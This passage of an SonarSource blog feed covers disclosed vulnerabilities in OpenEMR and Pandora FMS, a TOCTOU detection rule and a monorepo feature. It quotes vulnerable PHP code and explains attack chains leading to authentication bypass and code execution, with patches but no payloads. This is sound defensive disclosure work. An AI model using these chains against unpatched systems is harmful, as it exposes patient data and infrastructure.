6   &lt;legend&gt;&lt;?php echo xlt(&apos;Change Password for&apos;) . &quot; &quot; . $user_full_name; ?&gt;&lt;/legend&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Here, in line 6, the user name is embedded into the HTML output without any sanitization.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This allows injection of malicious HTML code into the response page that will be rendered by the administrator’s browser. When &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tags are injected into the last name, then malicious JavaScript code can be executed that will be able to control the victim&amp;#x27;s browser and its further activities. For example, it can be used to trigger the previously introduced Command Injection vulnerability that only an administrator can execute (Cross-Site Scripting).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Patch&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This vulnerability can be easily prevented by using the popular PHP function &lt;code&gt;htmlspecialchars()&lt;/code&gt; in line 6. It encodes special HTML characters into HTML entities (e.g. &lt;code&gt;&amp;lt;&lt;/code&gt; into &lt;code&gt;&amp;amp;lt;&lt;/code&gt;) and thus prevents that malicious JavaScript code can be embedded into the name. &lt;/p&gt;&lt;pre&gt;&lt;code&gt;echo htmlspecialchars($user_full_name, ENT_QUOTES);&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;3. Insecure API Permissions (CVE-2021-32101)&lt;/h3&gt;&lt;p&gt;So far, we have learned about a Command Injection vulnerability that can be triggered by an administrator. And we’ve learned about a persistent XSS vulnerability that can also be used to trigger the Command Injection from a victim. However, to plant the XSS payload we again need administrator privileges. As long as the administrator itself, who has access to all data anyway, is not malicious there should be no risk - right? This is true, as long as the permission system is secure.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In OpenEMR, the Patient Portal has its own API interface to control all portal actions, for example for editing a user account. This API uses the &lt;em&gt;Phreeze &lt;/em&gt;framework as a dispatcher that forwards requests to the respective component. Before this dispatcher is executed, the authentication is verified in the following include file.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;portal/patient/_machine_config.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;3   OpenEMR\Common\Session\SessionUtil::portalSessionStart();
4   if (isset($_SESSION[&apos;pid&apos;]) 
    &amp;&amp; (isset($_SESSION[&apos;patient_portal_onsite_two&apos;]) 
    || $_SESSION[&apos;register&apos;] === true)) {
5   	$pid = $_SESSION[&apos;pid&apos;];
6   	$ignoreAuth = true;
7   } else {
8   	$ignoreAuth = false;
9   	}
10   }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;It creates a new session and checks in line 4 if the user is already on the portal page or whether she is currently trying to register. In this case, the authentication check is deactivated in line 6 (&lt;code&gt;$ignoreAuth = true&lt;/code&gt;). Otherwise, the authentication check is active and the user has to authenticate.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Let&amp;#x27;s have a look at how the registration works in the Patient Portal. In the following code you can see the simplified &lt;em&gt;register.php&lt;/em&gt;. In lines 4-6, the interesting session variables are set that indicate that we are within a new registration process.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;portal/account/register.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;4   OpenEMR\Common\Session\SessionUtil::portalSessionStart();
5   $_SESSION[&apos;authUser&apos;] = &apos;portal-user&apos;;
6   $_SESSION[&apos;pid&apos;] = true;
7   $_SESSION[&apos;register&apos;] = true;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;No further checks are made and the session variable is not destroyed at the end of the file. An attacker could therefore make the first HTTP request to &lt;em&gt;register.php&lt;/em&gt; which creates a session and sets the session variable &lt;code&gt;$_SESSION[&amp;#x27;register&amp;#x27;]&lt;/code&gt; to &lt;em&gt;true&lt;/em&gt;. Then, without completing the registration, the attacker can access the dispatcher and bypass the authentication because &lt;code&gt;$ignoreAuth&lt;/code&gt; is set to &lt;em&gt;true&lt;/em&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Once the authentication is bypassed, it is possible to use all features of the API as a &lt;em&gt;registered &lt;/em&gt;Patient Portal user. This means an attacker can access all patient data or change the email address and passwords of the patients even if registration to the Patient Portal is closed. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Of special interest is the user controller of the API which can be used to change information of any backend user like the administrator. The attacker can now take advantage of the previously introduced Persistent XSS vulnerability by adding an XSS payload to the last name of the admin user. This XSS payload can then execute JavaScript code that exploits the Command Injection vulnerability. Ultimately, all three vulnerabilities are combined and lead to a pre-auth Command Execution in OpenEMR 5.0.2.1.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;What&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;24.02.2020&lt;/td&gt;&lt;td&gt;We reported the vulnerabilities to the OpenEMR team&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;29.04.2020&lt;/td&gt;&lt;td&gt;OpenEMR team addresses the first vulnerabilities with a patch&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;11.08.2020&lt;/td&gt;&lt;td&gt;OpenEMR team releases another security patch&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;In this blog post we analyzed three code vulnerabilities found in OpenEMR, a widely adopted open source solution for electronic health records. The combination of these vulnerabilities can lead to a complete takeover of the OpenEMR application and put patient data as well as the infrastructure at risk. We’ve evaluated the root causes in the PHP code base and described how to fix them. Due to the severity of the issues, we postponed the release of these details for several months. If you are hosting an OpenEMR instance and have not yet updated your installation, we highly recommend that you do so now. Last but not least, we would like to thank the OpenEMR team who quickly released a patch version 5.0.2.2 after our reports.&lt;br/&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Please stay healthy and secure!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;You can join the discussion about this vulnerability in &lt;a href=&quot;https://community.sonarsource.com/t/openemr-5-0-2-1-command-injection-vulnerability-puts-health-records-at-risk/33592&quot;&gt;our community forum&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Winning the race against TOCTOU vulnerabilities in C & C++]]></title><description><![CDATA[Security is an eternal race between the techniques and technologies of attackers and those of the defenders. Today, I'm proud to announce a step forward for defenders with a new rule to detect a literal race condition: TOCTOU (or TOCTTOU) vulnerabilities, known in long-form as Time Of Check (to) Time Of Use. ]]></description><link>https://www.sonarsource.com/blog/winning-the-race-against-toctou-vulnerabilities</link><guid isPermaLink="false">60264926-aaa6-58ac-be27-6b03aca42323</guid><dc:creator><![CDATA[G. Ann Campbell]]></dc:creator><pubDate>Wed, 07 Oct 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Security is an eternal race between the techniques and technologies of attackers and those of the defenders. Today, I&amp;#x27;m proud to announce a step forward for defenders with a new rule to detect a literal race condition: TOCTOU (or TOCTTOU) vulnerabilities, known in long-form as Time Of Check (to) Time Of Use. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;With TOCTOU, the idea is that there&amp;#x27;s a window of opportunity between when a privileged program checks a file (Does the file exist? Are permissions okay for what we&amp;#x27;re about to do? …)  and when it operates on that file (Create the file. Write to the file. …). In that window, an attacker could replace the file with e.g. a symlink to `/etc/passwd`, and the operation you meant to perform on `/home/ann/tmp` happens to an important system file instead.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Now, you may think that window, and thus the opportunity, is vanishingly small. To be honest, I did when I first encountered this. But researchers have &lt;a href=&quot;https://www.usenix.org/legacy/events/fast05/tech/full_papers/wei/wei.pdf&quot;&gt;shown that it&amp;#x27;s still exploitable&lt;/a&gt; when the OS interjects a system interrupt between the check and the use. In fact, those researchers were somewhat surprised to see their attack succeed 85% of the time even when the critical operations were &amp;quot;separated only by a few milliseconds.&amp;quot; And other researchers have shown that it&amp;#x27;s possible to crank the exploitation window wide open with &lt;a href=&quot;https://www.usenix.org/legacy/event/sec05/tech/full_papers/borisov/borisov.pdf&quot;&gt;an attack called a &amp;quot;filesystem maze&amp;quot;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;So this is serious stuff, and not just in a theoretical way. For instance, there was the &lt;a href=&quot;https://duo.com/decipher/docker-bug-allows-root-access-to-host-file-system&quot;&gt;Docker TOCTOU&lt;/a&gt; reported in 2018 that allowed root access to the host filesystem. And then there was the &lt;a href=&quot;https://www.redtimmy.com/pulse-secure-client-for-windows-9-1-6-toctou-privilege-escalation-cve-2020-13162/&quot;&gt;TOCTOU in the Pulse Secure VPN client for Windows&lt;/a&gt; reported earlier this year that allowed an attacker to gain administrative rights on the machine. Both of those now-fixed vulnerabilities are registered as entries in the Common Vulnerabilities and Exposures (CVE) list. At this writing, there are 96 TOCTOU CVEs. And those are only the ones that the &lt;em&gt;white hats&lt;/em&gt; have found and reported! &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;That&amp;#x27;s why we&amp;#x27;ve introduced rule S5847, &lt;a href=&quot;https://rules.sonarsource.com/cpp/RSPEC-5847&quot;&gt;Accessing files should not introduce TOCTOU vulnerabilities&lt;/a&gt;, for C, C++, and Objective-C (more languages &amp;quot;soon&amp;quot;!) to detect TOCTOU vulnerabilities in your code. Here&amp;#x27;s an example from an internal test project:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/44ae4171-725f-45fd-8401-5883fdd6c6b3/body-3f07b50e-ee6d-45cc-80b8-95acb6fa1c38_Selection_999%2528289%2529.jpg&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;I&amp;#x27;ve said this already, but it&amp;#x27;s worth pointing out again that even though the `fopen` is &lt;em&gt;written&lt;/em&gt; right after the access check, it may not &lt;em&gt;run&lt;/em&gt; right after in a multi-tasking environment, i.e. any modern OS.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;So okay, you&amp;#x27;re convinced! S5847 is available today on &lt;a href=&quot;https://sonarcloud.io/&quot;&gt;SonarCloud&lt;/a&gt; and in &lt;a href=&quot;https://www.sonarqube.org/developer-edition/&quot;&gt;SonarQube&lt;/a&gt; 8.5+, and you&amp;#x27;re going to activate it immediately in your Quality Profile and reanalyze. And then what? If even back-to-back commands are still vulnerable, what&amp;#x27;s a poor programmer to do? Well, the first choice is using an atomic operation if one is available. When it&amp;#x27;s not, grab a file descriptor in the check - it will be mapped to the file itself - and use it instead of the file name in subsequent operations. That way, your target file can&amp;#x27;t be swapped out from under you. Your sysadmin and your users will thank you. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Mono-repository support for GitHub and Azure DevOps Services available now!]]></title><description><![CDATA[Take a tour of SonarCloud's integration with mono-repositories in GitHub and Azure DevOps Services. This new feature allows you to define multiple Quality Gates per project and receive multiple results in your pull requests.]]></description><link>https://www.sonarsource.com/blog/mono-repository-support-for-github-and-azure-devops</link><guid isPermaLink="false">acfcecb3-6a77-532b-99c8-43a1716b6fc7</guid><dc:creator><![CDATA[Thomas Olivier]]></dc:creator><pubDate>Tue, 29 Sep 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;SonarCloud support for mono-repositories in Azure DevOps Services and GitHub was recently added. This feature was requested by some of our users on the Community forum. We want to give you a little tour and explain how you can take full advantage of this feature!&lt;/p&gt;&lt;h3&gt;The rise of the mono-repository&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;First, let’s define mono-repository.&lt;strong&gt; &lt;/strong&gt;Traditionally, software projects have been organized so that each project is stored within a single, distinct repository of its own. As software projects have become more complex and interconnected, some organizations moved to having all their projects in a single large repository. This is called the &lt;strong&gt;mono-repository&lt;/strong&gt;, or monorepo strategy.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In a typical monorepo, each project occupies its own directory within the repository and each is independently buildable and deployable, though the exact setup depends on how the procedures that build each project are defined. In general, there are many ways that multiple projects can be arranged within a single repository. Fortunately, SonarCloud&amp;#x27;s support for the monorepo strategy does not depend on the specifics of the monorepo setup. SonarCloud relies on the fact that each project&amp;#x27;s build procedure can be configured to perform analysis and send the result to the corresponding SonarCloud project.&lt;/p&gt;&lt;h3&gt;What’s new for the monorepo strategy?&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In the past, SonarCloud considered the code hosted in a repository as a single project. So naturally, the configurations in SonarCloud were at the repository level. The same applies to the feedback sent by SonarCloud in your ALM; it was also at the repository level. This was certainly a limitation for our users with many projects hosted in a single mono-repository. Well, we are happy to say that we now have a solution for this use case!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;So if you have a single (GitHub or Azure DevOps Services) repository with multiple projects inside, you will now be able to:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;&lt;em&gt;Configure one Quality Gate per project&lt;/em&gt;&lt;/strong&gt;: you can customize your Quality Gate with the details of your project, and we advise you to do so! &lt;/li&gt;&lt;li&gt;&lt;strong&gt;&lt;em&gt;Receive multiple Quality Gate results&lt;/em&gt;&lt;/strong&gt;: you can now rapidly check from the pull request if all Quality Gates passed before you merge!&lt;/li&gt;&lt;li&gt;&lt;strong&gt;&lt;em&gt;Read project-labeled messages from SonarCloud&lt;/em&gt;&lt;/strong&gt;: you understand which project is relevant to SonarCloud’s feedback in your ALM so you can act accordingly! &lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/d7491983-efce-47f3-ada5-6e882c570165/body-7220f372-9af2-4a03-89c5-18e81dba67df_SC_monorepo_banner%25402x.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In order to make use of this new feature, each SonarCloud project must have a unique project key across SonarCloud. We recommend using a pattern that includes your organization name, the SonarCloud project name, and an internal reference to the project within the monorepo (for example, myorg_myproject_frontend).&lt;/p&gt;&lt;h3&gt;Set up my monorepo&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Currently, monorepo support is available only for &lt;strong&gt;GitHub&lt;/strong&gt; and &lt;strong&gt;Azure DevOps Services&lt;/strong&gt; repositories.&lt;/p&gt;&lt;h4&gt;Importing a monorepo&lt;/h4&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Let’s have a closer look at how to configure your monorepo:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Go to the + (plus) menu on the top right of the SonarCloud interface and select &lt;em&gt;Analyze new project&lt;/em&gt;.&lt;/li&gt;&lt;li&gt;This will take you to the &lt;a href=&quot;https://sonarcloud.io/projects/create&quot;&gt;Analyze projects page&lt;/a&gt;&lt;/li&gt;&lt;li&gt;Now click &lt;em&gt;Setup a monorepo&lt;/em&gt; (it is a small text link on the lower right of the page). You will now be on the &lt;em&gt;Import monorepo&lt;/em&gt; page.&lt;/li&gt;&lt;li&gt;Select the organization and then select the monorepo repository that you want to import.&lt;/li&gt;&lt;li&gt;For each project contained in your monorepo, add a corresponding SonarCloud project by clicking &amp;quot;Add new project&amp;quot;. You have to choose a unique project key for each SonarCloud project. As mentioned above, these are the keys that you will use when configuring your CI service (see below) to bind each monorepo project to its corresponding SonarCloud project.&lt;/li&gt;&lt;/ul&gt;&lt;h4&gt;Convert a project to a monorepo&lt;/h4&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;You can convert a standard project to a monorepo by doing the following:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;On the &lt;a href=&quot;https://sonarcloud.io/projects/create&quot;&gt;Analyze projects page&lt;/a&gt;&lt;/li&gt;&lt;li&gt;you can add one or more additional project keys to an existing standard project. This will convert that new set of projects to a monorepo configuration.&lt;/li&gt;&lt;/ul&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/185be29a-f6f1-4c4d-88ca-90355bbd79ee/body-09c82ef8-6e06-4cf2-ae6e-cc62b2be9562_monorepo_github_integration.jpg&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;For more information on how to configure your mono-repository, please check the documentation &lt;a href=&quot;https://docs.sonarcloud.io/advanced-setup/monorepo-support/&quot;&gt;here&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;&lt;h3&gt;Quicker &amp;amp; more accurate decisions for your pull requests!&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Whether you&amp;#x27;ve been waiting for this, or you’re new to SonarCloud, you should now be able to take full advantage of this mono-repository feature! We hope that it will bring more accuracy to your Code Quality and Security strategy. Let us know how it goes!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Pandora FMS 742: Critical Code Vulnerabilities Explained]]></title><description><![CDATA[How code vulnerabilities in your web application can be the single point of failure for your IT infrastructure’s security.]]></description><link>https://www.sonarsource.com/blog/pandora-fms-742-critical-code-vulnerabilities-explained</link><guid isPermaLink="false">5d8ccd1c-6a4f-5e89-b410-d0fe160c96f8</guid><dc:creator><![CDATA[Dennis Brinkrolf]]></dc:creator><pubDate>Tue, 22 Sep 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Pandora FMS is an open source software for monitoring IT infrastructure and networks. It can monitor the status and performance of network equipment, operating systems, virtual infrastructure and all different kinds of security-sensitive applications and systems such as firewalls, databases and web servers. Its enterprise edition is used by many industry leaders, for example AON, Allianz and Toshiba.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;During our web application security research, we discovered several vulnerabilities in Pandora FMS version 742. These allow remote attackers to execute arbitrary code on any Pandora FMS server. No prior knowledge, access privilege or specific configuration is required by an attacker. The systems that are connected for monitoring to Pandora FMS may be directly prone to further attacks. We reported all issues responsibly to the affected vendor who released a security patch version 743 immediately. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In this blog post we analyze the technical root cause of the most critical vulnerability and how attackers could have exploited it.&lt;/p&gt;&lt;h2&gt;Impact&lt;/h2&gt;&lt;p&gt;During the analysis of Pandora FMS 742 console we found the following code vulnerabilities:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;SQL Injection (pre authentication) (CVE-2021-32099)&lt;/li&gt;&lt;li&gt;Phar deserialization (pre authentication) (CVE-2021-32098)&lt;/li&gt;&lt;li&gt;Remote File Inclusion (lowest privileged user) (CVE-2021-32100)&lt;/li&gt;&lt;li&gt;Cross-Site Request Forgery (CSRF)&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Our focus is on a severe SQL injection vulnerability. It can be remotely exploited without any access privileges and enables an attacker to completely bypass the administrator authentication. This enables in the end to execute arbitrary code on the system.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Pandora FMS is mostly used in internal networks and is typically not directly accessible to a remote attacker. However, the SQL injection can be exploited via a Cross-Site Request Forgery attack. A single person whose browser can reach the Pandora FMS installation and who is visiting a maliciously prepared website would be sufficient to carry out the attack and to take over the entire server. The targeted person does not need to have an account nor any privileges in Pandora FMS. During our analysis we also found several Pandora instances that are directly accessible via the internet.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Monitoring solutions are attractive targets for attackers, as these typically have access to the devices that they monitor, and are a starting point to compromise other parts of the infrastructure. For demonstration purposes we’ve created a short video that shows how quick and easy a server is compromised.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/61KE45V7VT8?si=tSPywUEY49hRrvf2&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;Technical Analysis&lt;/h2&gt;&lt;p&gt;In the following, we will look at the root cause of the vulnerability in the source code of Pandora FMS, written in PHP. For this purpose we will first introduce the security mechanisms used by Pandora FMS to sanitize user controlled inputs and highlight potential problems. Finally, we will see how this led to a critical vulnerability that enables an authentication bypass.&lt;/p&gt;&lt;h3&gt;Security Mechanism&lt;/h3&gt;&lt;p&gt;In Pandora FMS’ source code, user input is typically sanitized with the help of a custom function called &lt;code&gt;io_safe_input()&lt;/code&gt;. It sanitizes string values by using the PHP built-in function &lt;code&gt;htmlspecialchars()&lt;/code&gt; which encodes certain HTML markup characters (&lt;code&gt;“&amp;lt;&amp;gt;&amp;#x27;&lt;/code&gt;). Additionally, other security measures are taken in this function.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;/include/functions_io.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt; 72 function io_safe_input($value) {
  ⋮
 94    $valueHtmlEncode = htmlentities($value, ENT_QUOTES, &apos;UTF-8&apos;, true);
  ⋮
128    return $valueHtmlEncode;
129 }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The developers of Pandora FMS also implemented a wrapper function for retrieving GET and POST parameters called &lt;code&gt;get_parameter()&lt;/code&gt;. This function uses the function &lt;code&gt;io_safe_input()&lt;/code&gt; as described above to sanitize user input that is retrieved from &lt;code&gt;$_GET&lt;/code&gt; or &lt;code&gt;$_POST&lt;/code&gt; parameters. Such a wrapper function is often used to avoid that the developers have to worry about cleaning up the values. A wrapper function is definitely useful, and yet there are some pitfalls to be aware of.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;ol&gt;&lt;li&gt;The usage of this function is optional. It is still possible to access the &lt;code&gt;$_GET&lt;/code&gt; or &lt;code&gt;$_POST&lt;/code&gt; variables directly which are not sanitized. The direct access occurs several times within the Pandora FMS code base and this has led to security issues in the past.&lt;/li&gt;&lt;li&gt;The sanitized data retrieved by the wrapper may still lead to security problems because input has to be sanitized depending on the markup context. For example, the &lt;code&gt;htmlspecialchars()&lt;/code&gt; function does not protect against Cross-Site Scripting vulnerabilities if user input is embedded into various JavaScript code parts. Developers may blindly trust the wrapper function to be secure without knowing what it actually does.&lt;/li&gt;&lt;li&gt;There are many possibilities besides GET and POST parameters to process user input, e.g. cookies or HTTP headers. However, all possible user inputs should always be sanitized.&lt;/li&gt;&lt;/ol&gt;&lt;h3&gt;Unauthenticated SQL Injection (CVE-2021-32099)&lt;/h3&gt;&lt;p&gt;Let’s have a look at how user input is processed in the Chart Generator of Pandora FMS. When accessing the Chart Generator, first the authentication is checked.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;/include/chart_generator.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;71  // Try to initialize session using existing php session id.
72  $user = new PandoraFMS\User([&apos;phpsessionid&apos; =&gt; $_REQUEST[&apos;session_id&apos;]]);
73  if (check_login(false) === false) {   
74     // Error handler.
 ⋮
96  }
97
98  // Access granted.&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;As we can see in line 72 of &lt;em&gt;chart_generator.php&lt;/em&gt;, the user input is fetched from the &lt;code&gt;$_REQUES&lt;/code&gt;T superglobal which contains GET and POST parameters, as well as cookie values. The latter is probably the reason why &lt;code&gt;get_parameter()&lt;/code&gt; was not used here. The user input &lt;code&gt;$_REQUEST[&amp;#x27;session_id&amp;#x27;]&lt;/code&gt; is passed to the constructor of the class &lt;code&gt;PandoraFMS\User&lt;/code&gt; without any sanitization. Then, the function &lt;code&gt;check_login()&lt;/code&gt; is used to check if a login session variable is set and valid. All in all, the function &lt;code&gt;check_login()&lt;/code&gt; evaluates as &lt;em&gt;true &lt;/em&gt;if a user with the given session ID exists and then the access is granted.&lt;/p&gt;&lt;p&gt;The following snippet shows what happens in the constructor of class &lt;code&gt;PandoraFMS\User&lt;/code&gt; with the attacker controlled value &lt;code&gt;$data[&amp;#x27;phpsessionid&amp;#x27;]&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;/include/lib/User.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;60  public function __construct($data)
61  {
 ⋮
68     if (is_array($data) === true) {
69        if (isset($data[&apos;phpsessionid&apos;]) === true) {
70           $this-&gt;sessions[$data[&apos;phpsessionid&apos;]] = 1;
71           $info = \db_get_row_filter(
72              &apos;tsessions_php&apos;,
73              [&apos;id_session&apos; =&gt; $data[&apos;phpsessionid&apos;]]
74          );
75
76         if ($info !== false) {
77            // Process.
78            $session_data = session_decode($info[&apos;data&apos;]);
79            $this-&gt;idUser = $_SESSION[&apos;id_usuario&apos;];
80
81            // Valid session.
82            return $this;
83         }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In line 73, the user controlled parameter is passed to the function &lt;code&gt;db_get_row_filter()&lt;/code&gt;. This function uses a couple of internal functions that dynamically builds a SQL query based on the provided table name and a condition supplied as an array. At this point, it concatenates the attacker controlled variable directly into a SQL &lt;code&gt;WHERE&lt;/code&gt; clause without proper sanitization which leads to a SQL Injection (line 762 in &lt;em&gt;mysql.php&lt;/em&gt;).&lt;/p&gt;&lt;p&gt;&lt;strong&gt;/include/lib/mysql.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;848  function db_get_row_filter($table, $filter, $fields=false)
849  {  
 ⋮
861     $filter = db_format_array_where_clause_sql($filter, &apos; WHERE &apos;);
 ⋮
868     $sql = sprintf(&apos;SELECT %s FROM %s %s&apos;, $fields, $table, $filter);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;/include/lib/mysql.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;660  function db_format_array_where_clause_sql($values, $prefix=false)
661  {
668     $query = &apos;&apos;;
 ⋮
709     foreach ($values as $field =&gt; $value) {
 ⋮
762        $query .= sprintf(&quot;%s = &apos;%s&apos;&quot;, $field, $value);
 ⋮
771     }
772
773     return (!empty($query) ? $prefix : &apos;&apos;) . $query;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The SQL injection allows an attacker to malform the constructed SQL and, thus, the result set of the database query. From here, an attacker can control the data in &lt;code&gt;$info[&amp;#x27;data&amp;#x27;]&lt;/code&gt; in line 71 of &lt;em&gt;User.php&lt;/em&gt;. The PHP function &lt;code&gt;session_decode()&lt;/code&gt; is then used to load session data from &lt;code&gt;$info[&amp;#x27;data&amp;#x27;]&lt;/code&gt; and to populate it into the current &lt;code&gt;$_SESSION&lt;/code&gt; in line 78. This way, any user can be impersonated including an administrator with full access privileges by loading its user ID. As a result, the SQL Injection can be used to authenticate as any user. Due to the criticality of the vulnerability we are omitting the exact exploitation details at this point.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Note that the function &lt;code&gt;session_decode()&lt;/code&gt; is capable of deserializing arbitrary objects similar to the function &lt;code&gt;unserialize()&lt;/code&gt;. This means that an attacker could deserialize arbitrary objects via the SQL Injection and this can be another attack vector. In the end, a login bypass is sufficient for an attacker because as an administrator there are already possibilities to execute code (also see &lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-13851&quot;&gt;CVE-2020-13851&lt;/a&gt;).&lt;/p&gt;&lt;h3&gt;Patch&lt;/h3&gt;&lt;p&gt;The vulnerability has been patched by the vendor in the latest version by using the previously introduced wrapper function io_safe_input() to sanitize input. This patch is secure for the applied context and, at the same time, it is difficult to verify for other developers as discussed in the previous section.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;br/&gt;&lt;strong&gt;/include/lib/User.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;71          $info = \db_get_row_filter(
72              &apos;tsessions_php&apos;,
73              [&apos;id_session&apos; =&gt; io_safe_input($data[&apos;phpsessionid&apos;])]
74          );&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;By looking at this patch in line 73 we don’t know the exact context of the SQL query inside of db_get_row_filter() and if io_safe_input() is a sufficient sanitization. In case db_get_row_filter() would internally craft a SQL query and embed the user-supplied data without surrounding it by quotes (&amp;#x27;), the input sanitization designed for HTML markup would not be sufficient because the attackers payload would not need any quotes for exploitation. Adding context-sensitive input sanitization (escaping VS. type casting) or, even better, prepared statements into the database wrapper functions themself would enable a safer usage of these functions independently of the user-supplied filter.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;What&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
